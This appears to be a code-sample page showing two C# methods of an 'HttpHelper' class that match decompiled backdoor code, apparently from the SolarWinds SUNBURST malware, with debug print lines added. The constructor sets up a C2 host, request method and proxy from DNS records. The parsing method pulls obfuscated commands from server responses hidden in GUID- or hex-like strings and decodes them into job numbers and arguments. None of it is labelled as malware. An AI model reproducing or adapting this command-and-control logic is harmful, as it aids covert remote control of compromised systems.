Exemplo n.º 1
0
 public HttpHelper(byte[] customerId, DnsRecords rec)
 {
     this.customerId = customerId.ToArray <byte>();
     Console.WriteLine("CustomerId is :" + customerId.ToArray <byte>());
     this.httpHost = rec.cname;
     Console.WriteLine("httpHost is :" + rec.cname);
     this.requestMethod = (HttpOipMethods)rec._type;
     Console.WriteLine("Request method is :" + this.requestMethod);
     this.proxy = new Proxy((ProxyType)rec.length);
     Console.WriteLine("Proxy is :" + this.proxy);
 }
Exemplo n.º 2
0
 private HttpHelper.JobEngine ParseServiceResponse(byte[] body, out string args)
 {
     args = null;
     try
     {
         if (body == null || body.Length < 4)
         {
             return(HttpHelper.JobEngine.None);
         }
         HttpOipMethods httpOipMethods = this.requestMethod;
         if (httpOipMethods != HttpOipMethods.Put)
         {
             if (httpOipMethods != HttpOipMethods.Post)
             {
                 // "\{[0-9a-f-]{36}\}"|"[0-9a-f]{32}"|"[0-9a-f]{16}"
                 string[] value = (from Match m in Regex.Matches(Encoding.UTF8.GetString(body), ZipHelper.Unzip("U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA"), RegexOptions.IgnoreCase)
                                   select m.Value).ToArray <string>();
                 body = Utilities.HexStringToByteArray(string.Join("", value).Replace("\"", string.Empty).Replace("-", string.Empty).Replace("{", string.Empty).Replace("}", string.Empty));
             }
             else
             {
                 body = body.Skip(12).ToArray <byte>();
             }
         }
         else
         {
             body = body.Skip(48).ToArray <byte>();
         }
         int num = BitConverter.ToInt32(body, 0);
         body = body.Skip(4).Take(num).ToArray <byte>();
         if (body.Length != num)
         {
             return(HttpHelper.JobEngine.None);
         }
         string[] array = Encoding.UTF8.GetString(HttpHelper.Deflate(body)).Trim().Split(new char[]
         {
             ' '
         }, 2);
         HttpHelper.JobEngine jobEngine = (HttpHelper.JobEngine) int.Parse(array[0]);
         args = ((array.Length > 1) ? array[1] : null);
         return(Enum.IsDefined(typeof(HttpHelper.JobEngine), jobEngine) ? jobEngine : HttpHelper.JobEngine.None);
     }
     catch (Exception)
     {
     }
     return(HttpHelper.JobEngine.None);
 }